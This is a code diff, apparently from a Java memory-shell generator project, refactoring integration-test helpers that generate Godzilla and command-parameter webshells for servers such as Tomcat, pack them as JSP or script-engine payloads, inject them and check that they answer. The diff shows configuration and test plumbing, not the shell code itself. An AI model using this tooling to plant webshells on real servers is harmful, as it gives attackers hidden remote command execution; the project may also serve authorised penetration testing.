@@ -27,15 +18,8 @@ import static org.junit.jupiter.api.Assertions.assertTrue;
*/
@Slf4j
public class CommandShellTool {
public static String generate(Server server, CommandShellConfig config, String shellType, int targetJdkVersion, Packer.INSTANCE packer) {
ShellTool shellTool = ShellTool.Command;
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
return new String(packer.getPacker().pack(generateResult));
}
@SneakyThrows
public static void testIsOk(String entrypoint, CommandShellConfig shellConfig) {
public static void testIsOk(String entrypoint, CommandConfig shellConfig) {
OkHttpClient okHttpClient = new OkHttpClient();
HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint))
.newBuilder()
@@ -1,12 +1,10 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.config.GodzillaShellConfig;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.godzilla.GodzillaManager;
import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import java.io.IOException;
@@ -18,25 +16,7 @@ import static org.junit.jupiter.api.Assertions.assertTrue;
*/
public class GodzillaShellTool {
public static String generate(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion, Packer.INSTANCE packer) {
ShellTool shellTool = ShellTool.Godzilla;
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
return new String(packer.getPacker().pack(generateResult));
}
public static String generateJSP(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) {
ShellTool shellTool = ShellTool.Godzilla;
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
return new String(Packer.INSTANCE.JSP.getPacker().pack(generateResult));
}
public static String generateJS(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) {
ShellTool shellTool = ShellTool.Godzilla;
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
return new String(Packer.INSTANCE.ScriptEngine.getPacker().pack(generateResult));
}
public static void testIsOk(String entrypoint, GodzillaShellConfig shellConfig) {
public static void testIsOk(String entrypoint, GodzillaConfig shellConfig) {
try (GodzillaManager godzillaManager = GodzillaManager.builder()
.entrypoint(entrypoint).pass(shellConfig.getPass())
.key(shellConfig.getKey()).header(shellConfig.getHeaderName()
@@ -1,12 +1,12 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.config.CommandShellConfig;
import com.reajason.javaweb.config.GodzillaShellConfig;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memsell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/12/5
@@ -14,28 +14,37 @@ import lombok.extern.slf4j.Slf4j;
@Slf4j
public class ShellAssertionTool {
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
InjectorConfig injectorConfig = new InjectorConfig();
ShellConfig shellConfig = ShellConfig.builder()
.server(server)
.shellTool(shellTool)
.shellType(shellType)
.targetJdkVersion(targetJdkVersion)
.build();
String shellUrl;
switch (shellTool) {
case Godzilla:
String pass = "pass" + shellType;
String key = "key" + shellType;
String pass = "pass";
String key = "key";
String headerValue = "Godzilla" + shellType + packer.name();
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
.pass(pass).key(key)
.headerName("User-Agent").headerValue(headerValue)
.build();
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue);
String godzillaContent = GodzillaShellTool.generate(server, shellConfig, shellType, targetJdkVersion, packer);
String godzillaContent = new String(Objects.requireNonNull(GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer)));
shellUrl = assertInjectIsOk(url, shellType, shellTool, godzillaContent, packer);
GodzillaShellTool.testIsOk(shellUrl, shellConfig);
GodzillaShellTool.testIsOk(shellUrl, godzillaConfig);
break;
case Command:
String paramName = "Command" + shellType + packer.name();
CommandShellConfig config = CommandShellConfig.builder().paramName(paramName).build();
String commandContent = CommandShellTool.generate(server, config, shellType, targetJdkVersion, packer);
log.info("generated {} command shell with paramName: {}", shellType, config.getParamName());
CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build();
String commandContent = new String(Objects.requireNonNull(GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer)));
log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName());
shellUrl = assertInjectIsOk(url, shellType, shellTool, commandContent, packer);
CommandShellTool.testIsOk(shellUrl, config);
CommandShellTool.testIsOk(shellUrl, commandConfig);
}
}